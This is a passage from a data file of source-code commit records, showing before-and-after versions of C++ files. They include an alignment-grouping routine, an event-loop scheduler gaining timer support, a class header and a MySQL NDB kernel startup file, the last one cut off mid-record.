if (pos3 > ref_length)  pos3 = ref_length;\n    }\n    else {\n      pos0 += aln.length();\n      pos5 = pos0 - info.max_insert, pos3 = pos0;\n      if (pos5 < 1)  pos5 = 1;\n      if (pos3 > ref_length)  pos3 = ref_length;\n    }\n}\n\n\nrearr_group::rearr_group(alignment& aln, const interval& alnL,\n\t\t\t const interval& alnH, const readgroup_info& info,\n\t\t\t const readgroup_set& readgroups)\n  : overlapL(alnL), overlapH(alnH), max_insert(info.max_insert) {\n\n  samples.assign(readgroups.samples().size(), per_sample());\n  per_sample& sample = samples[info.sample_index];\n  total_count = sample.count = 1;\n  sample.readnames.assign(aln.qname_c_str(), aln.qname_length());\n\n  canonical.swap(aln);\n}\n\nvoid rearr_group::insert(const alignment& aln, const interval& alnL,\n\t\t\t const interval& alnH, const readgroup_info& info) {\n#ifndef NOT_PARANOID\n  if (! (aln.rindex() == canonical.rindex() &&\n\t aln.strand() == canonical.strand() &&\n\t aln.mate_rindex() == canonical.mate_rindex() &&\n\t aln.mate_strand() == canonical.mate_strand()))\n    throw std::logic_error(\"inserted alignment does not match group\");\n#endif\n\n  overlapL *= alnL;\n  overlapH *= alnH;\n\n  if (max_insert < info.max_insert)  max_insert = info.max_insert;\n\n  per_sample& sample = samples[info.sample_index];\n  total_count++;\n  sample.count++;\n  if (! sample.readnames.empty())  sample.readnames += ';';\n  sample.readnames.append(aln.qname_c_str(), aln.qname_length());\n}\n\nstd::ostream& operator<< (std::ostream& out, const rearr_group& group) {\n  const alignment& aln = group.canonical;\n\n  out << aln.rname_c_str() << '\\t' << aln.strand_char() << '\\t'\n      << group.overlapL.pos5 << '\\t' << group.overlapL.pos3 << '\\t'\n      << aln.mate_rname_c_str() << '\\t' << aln.mate_strand_char() << '\\t'\n      << group.overlapH.pos5 << '\\t' << group.overlapH.pos3;\n\n  rearr_group::const_sample_iterator it;\n  for (it = group.samples.begin(); it != group.samples.end(); ++it)\n    out << '\\t' << it->count;\n\n  if (! group.notes.empty())  out << '\\t' << group.notes;\n  else  out << \"\\t.\";\n\n  for (it = group.samples.begin(); it != group.samples.end(); ++it)\n    if (it->count > 0)  out << '\\t' << it->readnames;\n    else  out << \"\\t.\";\n\n  return out;\n}\n\n\nrearr_group_set::rearr_group_set(const collection& refseqs)\n  : lists(refseqs.ref_size()), rindex_(-1) {\n}\n\nrearr_group_set::iterator_pair rearr_group_set::complete_range() {\n  for (size_t i = 1; i < lists.size(); i++)\n    lists[0].splice(lists[0].end(), lists[i]);\n\n  return make_pair(lists[0].begin(), lists[0].end());\n}\n\nvoid rearr_group_set::clear() {\n  lists[0].clear();\n  rindex_ = -1;\n}\n<|endoftext|>"}
{"text":"<commit_before>#include <xzero\/executor\/NativeScheduler.h>\n#include <xzero\/RuntimeError.h>\n#include <xzero\/sysconfig.h>\n#include <algorithm>\n#include <vector>\n#include <sys\/types.h>\n#include <sys\/time.h>\n#include <sys\/select.h>\n#include <unistd.h>\n#include <fcntl.h>\n\nnamespace xzero {\n\n#define PIPE_READ_END  0\n#define PIPE_WRITE_END 1\n\n\/**\n * XXX\n * - registering a key should be *ONESHOT* and *Edge Triggered*\n * - remove SelectionKey::change()\n * - add SelectionKey::cancel()\n * - do we need Selectable then (just use EndPoinit or `int fd`?)\n *   - endpoint: operator int() { return handle(); }\n * - maybe inherit from Executor\n * - add a way to add timed callbacks that can be cancelled\n * - actual implementations inheriting from: Selector < Scheduler < Executor\n * - select: SelectEventLoop (currently: NativeScheduler)\n * - epoll: LinuxEventLoop\n *\n *\/\n\nNativeScheduler::NativeScheduler(\n    std::function<void(const std::exception&)> errorLogger,\n    std::function<void()> preInvoke,\n    std::function<void()> postInvoke)\n    : Scheduler(std::move(errorLogger)),\n      onPreInvokePending_(preInvoke),\n      onPostInvokePending_(postInvoke),\n      keys_(),\n      lock_(),\n      wakeupPipe_() {\n  if (pipe(wakeupPipe_) < 0) {\n    throw SYSTEM_ERROR(errno);\n  }\n  fcntl(wakeupPipe_[0], F_SETFL, O_NONBLOCK);\n  fcntl(wakeupPipe_[1], F_SETFL, O_NONBLOCK);\n}\n\nNativeScheduler::NativeScheduler(\n    std::function<void(const std::exception&)> errorLogger)\n    : NativeScheduler(errorLogger, nullptr, nullptr) {\n}\n\nNativeScheduler::NativeScheduler()\n    : NativeScheduler(nullptr) {\n}\n\nNativeScheduler::~NativeScheduler() {\n  ::close(wakeupPipe_[PIPE_READ_END]);\n  ::close(wakeupPipe_[PIPE_WRITE_END]);\n}\n\nvoid NativeScheduler::execute(Task&& task) {\n  tasks_.push_back(task);\n  breakLoop();\n}\n\nstd::string NativeScheduler::toString() const {\n  return \"NativeScheduler\";\n}\n\nScheduler::HandleRef NativeScheduler::executeAfter(TimeSpan delay, Task task) {\n  \/\/ TODO\n}\n\nScheduler::HandleRef NativeScheduler::executeAt(DateTime dt, Task task) {\n  \/\/ TODO\n}\n\ninline Scheduler::HandleRef registerInterest(\n    std::mutex* registryLock,\n    std::list<std::pair<int, Scheduler::HandleRef>>* registry,\n    int fd,\n    Executor::Task task) {\n\n  auto onCancel = [=](Scheduler::Handle* h) {\n    std::lock_guard<std::mutex> lk(*registryLock);\n    for (auto i: *registry) {\n      if (i.second.get() == h) {\n        return registry->remove(i);\n      }\n    }\n  };\n\n  std::lock_guard<std::mutex> lk(*registryLock);\n  auto handle = std::make_shared<Scheduler::Handle>(task, onCancel);\n  registry->push_back(std::make_pair(fd, handle));\n\n  return handle;\n}\n\nScheduler::HandleRef NativeScheduler::executeOnReadable(int fd, Task task) {\n  printf(\"registerInterest(%d, READ)\\n\", fd);\n  return registerInterest(&lock_, &readers_, fd, task);\n}\n\nScheduler::HandleRef NativeScheduler::executeOnWritable(int fd, Task task) {\n  printf(\"registerInterest(%d, WRITE)\\n\", fd);\n  return registerInterest(&lock_, &writers_, fd, task);\n}\n\ninline void gatherActiveHandles(\n    std::list<std::pair<int, Scheduler::HandleRef>>* interests,\n    fd_set* fdset,\n    std::vector<Scheduler::HandleRef>* result) {\n\n  auto i = interests->begin();\n  auto e = interests->end();\n\n  while (i != e) {\n    if (FD_ISSET(i->first, fdset)) {\n      result->push_back(i->second);\n      auto k = i;\n      ++i;\n      interests->erase(k);\n    } else {\n      i++;\n    }\n  }\n}\n\nvoid NativeScheduler::runLoopOnce() {\n  fd_set input, output, error;\n  FD_ZERO(&input);\n  FD_ZERO(&output);\n  FD_ZERO(&error);\n\n  int wmark = 0;\n  timeval tv;\n  tv.tv_sec = 16;\n  tv.tv_usec = 0;\n\n  {\n    std::lock_guard<std::mutex> lk(lock_);\n\n    for (auto i: readers_) {\n      FD_SET(i.first, &input);\n      if (i.first > wmark) {\n        wmark = i.first;\n      }\n    }\n\n    for (auto i: writers_) {\n      FD_SET(i.first, &output);\n      if (i.first > wmark) {\n        wmark = i.first;\n      }\n    }\n\n    std::deque<Task> activeTasks;\n    activeTasks = std::move(tasks_);\n\n    safeCallEach(activeTasks);\n  }\n\n  FD_SET(wakeupPipe_[PIPE_READ_END], &input);\n\n  int rv = ::select(wmark + 1, &input, &output, &error, &tv);\n  if (rv < 0)\n    throw SYSTEM_ERROR(errno);\n\n  if (FD_ISSET(wakeupPipe_[PIPE_READ_END], &input)) {\n    bool consumeMore = true;\n    while (consumeMore) {\n      char buf[sizeof(int) * 128];\n      consumeMore = ::read(wakeupPipe_[PIPE_READ_END], buf, sizeof(buf)) > 0;\n    }\n  }\n\n  std::deque<Task> activeTasks;\n\n  std::vector<HandleRef> activeHandles;\n  activeHandles.reserve(rv);\n\n  {\n    std::lock_guard<std::mutex> lk(lock_);\n\n    gatherActiveHandles(&readers_, &input, &activeHandles);\n    gatherActiveHandles(&writers_, &output, &activeHandles);\n    activeTasks = std::move(tasks_);\n  }\n\n  safeCall(onPreInvokePending_);\n  safeCallEach(activeHandles);\n  safeCallEach(activeTasks);\n  safeCall(onPostInvokePending_);\n}\n\nvoid NativeScheduler::breakLoop() {\n  int dummy = 42;\n  ::write(wakeupPipe_[PIPE_WRITE_END], &dummy, sizeof(dummy));\n}\n\n} \/\/ namespace xzero\n<commit_msg>some work on timers list<commit_after>#include <xzero\/executor\/NativeScheduler.h>\n#include <xzero\/RuntimeError.h>\n#include <xzero\/WallClock.h>\n#include <xzero\/sysconfig.h>\n#include <algorithm>\n#include <vector>\n#include <sys\/types.h>\n#include <sys\/time.h>\n#include <sys\/select.h>\n#include <unistd.h>\n#include <fcntl.h>\n\nnamespace xzero {\n\n#define PIPE_READ_END  0\n#define PIPE_WRITE_END 1\n\n\/**\n * XXX\n * - registering a key should be *ONESHOT* and *Edge Triggered*\n * - remove SelectionKey::change()\n * - add SelectionKey::cancel()\n * - do we need Selectable then (just use EndPoinit or `int fd`?)\n *   - endpoint: operator int() { return handle(); }\n * - maybe inherit from Executor\n * - add a way to add timed callbacks that can be cancelled\n * - actual implementations inheriting from: Selector < Scheduler < Executor\n * - select: SelectEventLoop (currently: NativeScheduler)\n * - epoll: LinuxEventLoop\n *\n *\/\n\nNativeScheduler::NativeScheduler(\n    std::function<void(const std::exception&)> errorLogger,\n    WallClock* clock,\n    std::function<void()> preInvoke,\n    std::function<void()> postInvoke)\n    : Scheduler(std::move(errorLogger)),\n      clock_(clock ? clock : WallClock::system()),\n      onPreInvokePending_(preInvoke),\n      onPostInvokePending_(postInvoke),\n      keys_(),\n      lock_(),\n      wakeupPipe_() {\n  if (pipe(wakeupPipe_) < 0) {\n    throw SYSTEM_ERROR(errno);\n  }\n  fcntl(wakeupPipe_[0], F_SETFL, O_NONBLOCK);\n  fcntl(wakeupPipe_[1], F_SETFL, O_NONBLOCK);\n}\n\nNativeScheduler::NativeScheduler(\n    std::function<void(const std::exception&)> errorLogger,\n    WallClock* clock)\n    : NativeScheduler(errorLogger, clock, nullptr, nullptr) {\n}\n\nNativeScheduler::NativeScheduler()\n    : NativeScheduler(nullptr, nullptr, nullptr, nullptr) {\n}\n\nNativeScheduler::~NativeScheduler() {\n  ::close(wakeupPipe_[PIPE_READ_END]);\n  ::close(wakeupPipe_[PIPE_WRITE_END]);\n}\n\nvoid NativeScheduler::execute(Task&& task) {\n  {\n    std::lock_guard<std::mutex> lk(lock_);\n    tasks_.push_back(task);\n  }\n  breakLoop();\n}\n\nstd::string NativeScheduler::toString() const {\n  return \"NativeScheduler\";\n}\n\nScheduler::HandleRef NativeScheduler::executeAfter(TimeSpan delay, Task task) {\n  auto onFire = [task]() {\n    task();\n  };\n\n  auto onCancel = [this](Handle* handle) {\n    removeFromTimersList(handle);\n  };\n\n  return insertIntoTimersList(clock_->get() + delay,\n                              std::make_shared<Handle>(onFire, onCancel));\n}\n\nScheduler::HandleRef NativeScheduler::executeAt(DateTime when, Task task) {\n  auto onFire = [task]() {\n    task();\n  };\n\n  auto onCancel = [this](Handle* handle) {\n    removeFromTimersList(handle);\n  };\n\n  return insertIntoTimersList(when, std::make_shared<Handle>(onFire, onCancel));\n}\n\nScheduler::HandleRef NativeScheduler::insertIntoTimersList(DateTime dt,\n                                                           HandleRef handle) {\n  Timer t = { dt, handle };\n\n  std::lock_guard<std::mutex> lk(lock_);\n\n  std::list<Timer>::const_iterator i = timers_.cend();\n  std::list<Timer>::const_iterator e = timers_.cbegin();\n\n  while (i != e) {\n    i--;\n    const Timer& current = *i;\n    if (current.when >= t.when) {\n      timers_.insert(i, t);\n      return handle;\n    }\n  }\n\n  if (i == e) {\n    timers_.push_front(t);\n  }\n\n  return handle;\n}\n\nvoid NativeScheduler::removeFromTimersList(Handle* handle) {\n  \/\/ TODO\n  std::lock_guard<std::mutex> lk(lock_);\n}\n\nvoid NativeScheduler::collectTimeouts() {\n  const DateTime now = clock_->get();\n\n  std::lock_guard<std::mutex> lk(lock_);\n\n  for (;;) {\n    if (timers_.empty())\n      break;\n\n    const auto& job = timers_.front();\n    if (job.when <= now)\n      break;\n\n    tasks_.push_back(std::bind(&Handle::fire, job.handle.get()));\n    timers_.pop_front();\n  }\n}\n\ninline Scheduler::HandleRef registerInterest(\n    std::mutex* registryLock,\n    std::list<std::pair<int, Scheduler::HandleRef>>* registry,\n    int fd,\n    Executor::Task task) {\n\n  auto onCancel = [=](Scheduler::Handle* h) {\n    std::lock_guard<std::mutex> lk(*registryLock);\n    for (auto i: *registry) {\n      if (i.second.get() == h) {\n        return registry->remove(i);\n      }\n    }\n  };\n\n  std::lock_guard<std::mutex> lk(*registryLock);\n  auto handle = std::make_shared<Scheduler::Handle>(task, onCancel);\n  registry->push_back(std::make_pair(fd, handle));\n\n  return handle;\n}\n\nScheduler::HandleRef NativeScheduler::executeOnReadable(int fd, Task task) {\n  printf(\"registerInterest(%d, READ)\\n\", fd);\n  return registerInterest(&lock_, &readers_, fd, task);\n}\n\nScheduler::HandleRef NativeScheduler::executeOnWritable(int fd, Task task) {\n  printf(\"registerInterest(%d, WRITE)\\n\", fd);\n  return registerInterest(&lock_, &writers_, fd, task);\n}\n\ninline void collectActiveHandles(\n    std::list<std::pair<int, Scheduler::HandleRef>>* interests,\n    fd_set* fdset,\n    std::vector<Scheduler::HandleRef>* result) {\n\n  auto i = interests->begin();\n  auto e = interests->end();\n\n  while (i != e) {\n    if (FD_ISSET(i->first, fdset)) {\n      result->push_back(i->second);\n      auto k = i;\n      ++i;\n      interests->erase(k);\n    } else {\n      i++;\n    }\n  }\n}\n\nvoid NativeScheduler::runLoopOnce() {\n  fd_set input, output, error;\n  FD_ZERO(&input);\n  FD_ZERO(&output);\n  FD_ZERO(&error);\n\n  int wmark = 0;\n  timeval tv;\n  tv.tv_sec = 16; \/\/ TODO compute timeout based on next timed job\n  tv.tv_usec = 0;\n\n  {\n    std::lock_guard<std::mutex> lk(lock_);\n\n    for (auto i: readers_) {\n      FD_SET(i.first, &input);\n      if (i.first > wmark) {\n        wmark = i.first;\n      }\n    }\n\n    for (auto i: writers_) {\n      FD_SET(i.first, &output);\n      if (i.first > wmark) {\n        wmark = i.first;\n      }\n    }\n\n    std::deque<Task> activeTasks;\n    activeTasks = std::move(tasks_);\n\n    safeCallEach(activeTasks);\n  }\n\n  FD_SET(wakeupPipe_[PIPE_READ_END], &input);\n\n  int rv = ::select(wmark + 1, &input, &output, &error, &tv);\n  if (rv < 0)\n    throw SYSTEM_ERROR(errno);\n\n  collectTimeouts();\n\n  if (FD_ISSET(wakeupPipe_[PIPE_READ_END], &input)) {\n    bool consumeMore = true;\n    while (consumeMore) {\n      char buf[sizeof(int) * 128];\n      consumeMore = ::read(wakeupPipe_[PIPE_READ_END], buf, sizeof(buf)) > 0;\n    }\n  }\n\n  std::deque<Task> activeTasks;\n\n  std::vector<HandleRef> activeHandles;\n  activeHandles.reserve(rv);\n\n  {\n    std::lock_guard<std::mutex> lk(lock_);\n\n    collectActiveHandles(&readers_, &input, &activeHandles);\n    collectActiveHandles(&writers_, &output, &activeHandles);\n    activeTasks = std::move(tasks_);\n  }\n\n  safeCall(onPreInvokePending_);\n  safeCallEach(activeHandles);\n  safeCallEach(activeTasks);\n  safeCall(onPostInvokePending_);\n}\n\nvoid NativeScheduler::breakLoop() {\n  int dummy = 42;\n  ::write(wakeupPipe_[PIPE_WRITE_END], &dummy, sizeof(dummy));\n}\n\n} \/\/ namespace xzero\n<|endoftext|>"}
{"text":"<commit_before>\/*\n   Copyright 2010 Bharathan Rajaram\n\n   Licensed under the Apache License, Version 2.0 (the \"License\");\n   you may not use this file except in compliance with the License.\n   You may obtain a copy of the License at\n\n       http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\n   Unless required by applicable law or agreed to in writing, software\n   distributed under the License is distributed on an \"AS IS\" BASIS,\n   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n   See the License for the specific language governing permissions and\n   limitations under the License.\n*\/\n\n<commit_msg>My first source file for the rewrite.<commit_after>\/*\n   Copyright 2010 Bharathan Rajaram\n\n   Licensed under the Apache License, Version 2.0 (the \"License\");\n   you may not use this file except in compliance with the License.\n   You may obtain a copy of the License at\n\n       http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\n   Unless required by applicable law or agreed to in writing, software\n   distributed under the License is distributed on an \"AS IS\" BASIS,\n   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n   See the License for the specific language governing permissions and\n   limitations under the License.\n*\/\n\n#ifndef APPLICATION_H\n#define APPLICATION_H\n\n\/\/The base class for all my applications\n\nclass InputSystem;\nclass RayTracer;\nclass RasterEngine;\nclass StateManager;\n\nclass Application\n{\n\tprivate:\n\t\tStateManager* state_manager;\n\t\tRayTracer* ray_tracer;\n\t\tRasterEngine* raster_engine;\n\t\tInputSystem* input_system;\n\tpublic:\n\t\tApplication();\n\t\t~Application();\t\t\n};\n\n#endif\n<|endoftext|>"}
{"text":"<commit_before><commit_msg>Fix a warning when building with gcc.<commit_after><|endoftext|>"}
{"text":"<commit_before>\/* Copyright (C) 2003 MySQL AB\n\n   This program is free software; you can redistribute it and\/or modify\n   it under the terms of the GNU General Public License as published by\n   the Free Software Foundation; either version 2 of the License, or\n   (at your option) any later version.\n\n   This program is distributed in the hope that it will be useful,\n   but WITHOUT ANY WARRANTY; without even the implied warranty of\n   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n   GNU General Public License for more details.\n\n   You should have received a copy of the GNU General Public License\n   along with this program; if not, write to the Free Software\n   Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA *\/\n\n#include <ndb_global.h>\n\n#include <ndb_version.h>\n#include \"Configuration.hpp\"\n#include <TransporterRegistry.hpp>\n\n#include \"vm\/SimBlockList.hpp\"\n#include \"ThreadConfig.hpp\"\n#include <SignalLoggerManager.hpp>\n#include <NdbOut.hpp>\n#include <NdbMain.h>\n#include <NdbDaemon.h>\n#include <NdbConfig.h>\n#include <WatchDog.hpp>\n\n#include <LogLevel.hpp>\n#include <EventLogger.hpp>\n\n#include <NdbAutoPtr.hpp>\n\n#if defined NDB_SOLARIS \/\/ ok\n#include <sys\/processor.h> \/\/ For system informatio\n#endif\n\nextern EventLogger g_eventLogger;\n\nvoid catchsigs(bool ignore); \/\/ for process signal handling\n\nextern \"C\" void handler_shutdown(int signum);  \/\/ for process signal handling\nextern \"C\" void handler_error(int signum);  \/\/ for process signal handling\n\n\/\/ Shows system information\nvoid systemInfo(const Configuration & conf,\n\t\tconst LogLevel & ll); \n\nconst char programName[] = \"NDB Kernel\";\n\nNDB_MAIN(ndb_kernel){\n\n  \/\/ Print to stdout\/console\n  g_eventLogger.createConsoleHandler();\n  g_eventLogger.setCategory(\"NDB\");\n  g_eventLogger.enable(Logger::LL_INFO, Logger::LL_ALERT); \/\/ Log INFO to ALERT\n\n  globalEmulatorData.create();\n\n  \/\/ Parse command line options\n  Configuration* theConfig = globalEmulatorData.theConfiguration;\n  if(!theConfig->init(argc, argv)){\n    return 0;\n  }\n  \n  { \/\/ Do configuration\n    signal(SIGPIPE, SIG_IGN);\n    theConfig->fetch_configuration();\n  }\n  \n  if (theConfig->getDaemonMode()) {\n    \/\/ Become a daemon\n    char *lockfile= NdbConfig_PidFileName(globalData.ownId);\n    char *logfile=  NdbConfig_StdoutFileName(globalData.ownId);\n    NdbAutoPtr<char> tmp_aptr1(lockfile), tmp_aptr2(logfile);\n\n    if (NdbDaemon_Make(lockfile, logfile, 0) == -1) {\n      ndbout << \"Cannot become daemon: \" << NdbDaemon_ErrorText << endl;\n      return 1;\n    }\n  }\n  \n  for(pid_t child = fork(); child != 0; child = fork()){\n    \/**\n     * Parent\n     *\/\n    catchsigs(true);\n\n    int status = 0;\n    while(waitpid(child, &status, 0) != child);\n    if(WIFEXITED(status)){\n      switch(WEXITSTATUS(status)){\n      case NRT_Default:\n\tg_eventLogger.info(\"Angel shutting down\");\n\texit(0);\n\tbreak;\n      case NRT_NoStart_Restart:\n\ttheConfig->setInitialStart(false);\n\tglobalData.theRestartFlag = initial_state;\n\tbreak;\n      case NRT_NoStart_InitialStart:\n\ttheConfig->setInitialStart(true);\n\tglobalData.theRestartFlag = initial_state;\n\tbreak;\n      case NRT_DoStart_InitialStart:\n\ttheConfig->setInitialStart(true);\n\tglobalData.theRestartFlag = perform_start;\n\tbreak;\n      default:\n\tif(theConfig->stopOnError()){\n\t  \/**\n\t   * Error shutdown && stopOnError()\n\t   *\/\n\t  exit(0);\n\t}\n\t\/\/ Fall-through\n      case NRT_DoStart_Restart:\n\ttheConfig->setInitialStart(false);\n\tglobalData.theRestartFlag = perform_start;\n\tbreak;\n      }\n    } else if(theConfig->stopOnError()){\n      \/**\n       * Error shutdown && stopOnError()\n       *\/\n      exit(0);\n    }\n    g_eventLogger.info(\"Ndb has terminated (pid %d) restarting\", child);\n    theConfig->fetch_configuration();\n  }\n\n  g_eventLogger.info(\"Angel pid: %d ndb pid: %d\", getppid(), getpid());\n  theConfig->setupConfiguration();\n  systemInfo(* theConfig, * theConfig->m_logLevel); \n  \n    \/\/ Load blocks\n  globalEmulatorData.theSimBlockList->load(* theConfig);\n    \n  \/\/ Set thread concurrency for Solaris' light weight processes\n  int status;\n  status = NdbThread_SetConcurrencyLevel(30);\n  assert(status == 0);\n  \n#ifdef VM_TRACE\n  \/\/ Create a signal logger\n  char *buf= NdbConfig_SignalLogFileName(globalData.ownId);\n  NdbAutoPtr<char> tmp_aptr(buf);\n  FILE * signalLog = fopen(buf, \"a\");\n  globalSignalLoggers.setOwnNodeId(globalData.ownId);\n  globalSignalLoggers.setOutputStream(signalLog);\n#endif\n  \n  catchsigs(false);\n   \n  \/**\n   * Do startup\n   *\/\n  switch(globalData.theRestartFlag){\n  case initial_state:\n    globalEmulatorData.theThreadConfig->doStart(NodeState::SL_CMVMI);\n    break;\n  case perform_start:\n    globalEmulatorData.theThreadConfig->doStart(NodeState::SL_CMVMI);\n    globalEmulatorData.theThreadConfig->doStart(NodeState::SL_STARTING);\n    break;\n  default:\n    assert(\"Illegal state globalData.theRestartFlag\" == 0);\n  }\n\n  SocketServer socket_server;\n\n  globalTransporterRegistry.startSending();\n  globalTransporterRegistry.startReceiving();\n  if (!globalTransporterRegistry.start_service(socket_server)){\n    ndbout_c(\"globalTransporterRegistry.start_service() failed\");\n    exit(-1);\n  }\n\n  if (!globalTransporterRegistry.start_clients()){\n    ndbout_c(\"globalTransporterRegistry.start_clients() failed\");\n    exit(-1);\n  }\n\n  globalEmulatorData.theWatchDog->doStart();\n  \n  socket_server.startServer();\n\n  \/\/  theConfig->closeConfiguration();\n\n  globalEmulatorData.theThreadConfig->ipControlLoop();\n  \n  NdbShutdown(NST_Normal);\n\n  socket_server.stopServer();\n  socket_server.stopSessions();\n\n  globalTransporterRegistry.stop_clients();\n\n  return NRT_Default;\n}\n\n\nvoid \nsystemInfo(const Configuration & config, const LogLevel & logLevel){\n#ifdef NDB_WIN32\n  int processors = 0;\n  int speed;\n  SYSTEM_INFO sinfo;\n  GetSystemInfo(&sinfo);\n  processors = sinfo.dwNumberOfProcessors;\n  HKEY hKey;\n  if(ERROR_SUCCESS==RegOpenKeyEx\n     (HKEY_LOCAL_MACHINE, \n      TEXT(\"HARDWARE\\\\DESCRIPTION\\\\System\\\\CentralProcessor\\\\0\"), \n      0, KEY_READ, &hKey)) {\n    DWORD dwMHz;\n    DWORD cbData = sizeof(dwMHz);\n    if(ERROR_SUCCESS==RegQueryValueEx(hKey, \n\t\t\t\t      \"~MHz\", 0, 0, (LPBYTE)&dwMHz, &cbData)) {\n      speed = int(dwMHz);\n    }\n    RegCloseKey(hKey);\n  }\n#elif defined NDB_SOLARIS \/\/ ok\n  \/\/ Search for at max 16 processors among the first 256 processor ids\n  processor_info_t pinfo; memset(&pinfo, 0, sizeof(pinfo));\n  int pid = 0;\n  while(processors < 16 && pid < 256){\n    if(!processor_info(pid++, &pinfo))\n      processors++;\n  }\n  speed = pinfo.pi_clock;\n#endif\n  \n  if(logLevel.getLogLevel(LogLevel::llStartUp) > 0){\n    g_eventLogger.info(\"NDB Cluster -- DB node %d\", globalData.ownId);\n    g_eventLogger.info(\"%s --\", NDB_VERSION_STRING);\n#ifdef NDB_SOLARIS \/\/ ok\n    g_eventLogger.info(\"NDB is running on a machine with %d processor(s) at %d MHz\",\n\t\t       processor, speed);\n#endif\n  }\n  if(logLevel.getLogLevel(LogLevel::llStartUp) > 3){\n    Uint32 t = config.timeBetweenWatchDogCheck();\n    g_eventLogger.info(\"WatchDog timer is set to %d ms\", t);\n  }\n\n}\n\n#define handler_register(signum, handler, ignore)\\\n{\\\n  if (ignore) {\\\n    if(signum != SIGCHLD)\\\n      signal(signum, SIG_IGN);\\\n  } else\\\n    signal(signum, handler);\\\n}\n\nvoid \ncatchsigs(bool ignore){\n#if ! defined NDB_SOFTOSE && !defined NDB_OSE \n\n  static const int signals_shutdown[] = {\n#ifdef SIGBREAK\n    SIGBREAK,\n#endif\n    SIGHUP,\n    SIGINT,\n#if defined SIGPWR\n    SIGPWR,\n#elif defined SIGINFO\n    SIGINFO,\n#endif\n    SIGQUIT,\n    SIGTERM,\n#ifdef SIGTSTP\n    SIGTSTP,\n#endif\n    SIGTTIN,\n    SIGTTOU\n  };\n\n  static const int signals_error[] = {\n    SIGABRT,\n    SIGALRM,\n#ifdef SIGBUS\n    SIGBUS,\n#endif\n    SIGCHLD,\n    SIGFPE,\n    SIGILL,\n#ifdef SIGIO\n    SIGIO,\n#endif\n#ifdef SIGPOLL\n    SIGPOLL,\n#endif\n    SIGSEGV,\n#ifdef SIGTRAP\n    SIGTRAP\n#endif\n  };\n#endif\n\n  static const int signals_ignore[] = {\n    SIGPIPE\n  };\n\n  for(size_t i = 0; i < sizeof(signals_shutdown)\/sizeof(signals_shutdown[0]); i++)\n    handler_register(signals_shutdown[i], handler_shutdown, ignore);\n  for(size_t i = 0; i < sizeof(signals_error)\/sizeof(signals_error[0]); i++)\n    handler_register(signals_error[i], handler_error, ignore);\n  for(size_t i = 0; i < sizeof(signals_ignore)\/sizeof(signals_ignore[0]); i++)\n    handler_register(signals_ignore[i], SIG_IGN, ignore);\n}\n\nextern \"C\"\nvoid \nhandler_shutdown(int signum){\n  g_eventLogger.info(\"Received signal %d. Performing stop.\", signum);\n  globalData.theRestartFlag = perform_stop;\n}\n\nextern \"C\"\nvoid \nhandler_error(int signum){\n  g_eventLogger.info(\"Received signal %d. Running error handler.\", signum);\n  \/\/ restart the system\n  char errorData[40];\n  snprintf(errorData, 40, \"Signal %d received\", signum);\n  ERROR_SET(fatal, 0, errorData, __FILE__);\n}\n\n\n\n\n\n\n\n<commit_msg>variable scoop, compile fix<commit_after>\/* Copyright (C) 2003 MySQL AB\n\n   This program is free software; you can redistribute it and\/or modify\n   it under the terms of the GNU General Public License as published by\n   the Free Software Foundation; either version 2 of the License, or\n   (at your option) any later version.\n\n   This program is distributed in the hope that it will be useful,\n   but WITHOUT ANY WARRANTY; without even the implied warranty of\n   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n   GNU General Public License for more details.\n\n   You should have received a copy of the GNU General Public License\n   along with this program; if not, write to the Free Software\n   Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA *\/\n\n#include <ndb_global.h>\n\n#include <ndb_version.h>\n#include \"Configuration.hpp\"\n#include <TransporterRegistry.hpp>\n\n#include \"vm\/SimBlockList.hpp\"\n#include \"ThreadConfig.hpp\"\n#include <SignalLoggerManager.hpp>\n#include <NdbOut.hpp>\n#include <NdbMain.h>\n#include <NdbDaemon.h>\n#include <NdbConfig.h>\n#include <WatchDog.hpp>\n\n#include <LogLevel.hpp>\n#include <EventLogger.hpp>\n\n#include <NdbAutoPtr.hpp>\n\n#if defined NDB_SOLARIS \/\/ ok\n#include <sys\/processor.h> \/\/ For system informatio\n#endif\n\nextern EventLogger g_eventLogger;\n\nvoid catchsigs(bool ignore); \/\/ for process signal handling\n\nextern \"C\" void handler_shutdown(int signum);  \/\/ for process signal handling\nextern \"C\" void handler_error(int signum);  \/\/ for process signal handling\n\n\/\/ Shows system information\nvoid systemInfo(const Configuration & conf,\n\t\tconst LogLevel & ll); \n\nconst char programName[] = \"NDB Kernel\";\n\nNDB_MAIN(ndb_kernel){\n\n  \/\/ Print to stdout\/console\n  g_eventLogger.createConsoleHandler();\n  g_eventLogger.setCategory(\"NDB\");\n  g_eventLogger.enable(Logger::LL_INFO, Logger::LL_ALERT); \/\/ Log INFO to ALERT\n\n  globalEmulatorData.create();\n\n  \/\/ Parse command line options\n  Configuration* theConfig = globalEmulatorData.theConfiguration;\n  if(!theConfig->init(argc, argv)){\n    return 0;\n  }\n  \n  { \/\/ Do configuration\n    signal(SIGPIPE, SIG_IGN);\n    theConfig->fetch_configuration();\n  }\n  \n  if (theConfig->getDaemonMode()) {\n    \/\/ Become a daemon\n    char *lockfile= NdbConfig_PidFileName(globalData.ownId);\n    char *logfile=  NdbConfig_StdoutFileName(globalData.ownId);\n    NdbAutoPtr<char> tmp_aptr1(lockfile), tmp_aptr2(logfile);\n\n    if (NdbDaemon_Make(lockfile, logfile, 0) == -1) {\n      ndbout << \"Cannot become daemon: \" << NdbDaemon_ErrorText << endl;\n      return 1;\n    }\n  }\n  \n  for(pid_t child = fork(); child != 0; child = fork()){\n    \/**\n     * Parent\n     *\/\n    catchsigs(true);\n\n    int status = 0;\n    while(waitpid(child, &status, 0) != child);\n    if(WIFEXITED(status)){\n      switch(WEXITSTATUS(status)){\n      case NRT_Default:\n\tg_eventLogger.info(\"Angel shutting down\");\n\texit(0);\n\tbreak;\n      case NRT_NoStart_Restart:\n\ttheConfig->setInitialStart(false);\n\tglobalData.theRestartFlag = initial_state;\n\tbreak;\n      case NRT_NoStart_InitialStart:\n\ttheConfig->setInitialStart(true);\n\tglobalData.theRestartFlag = 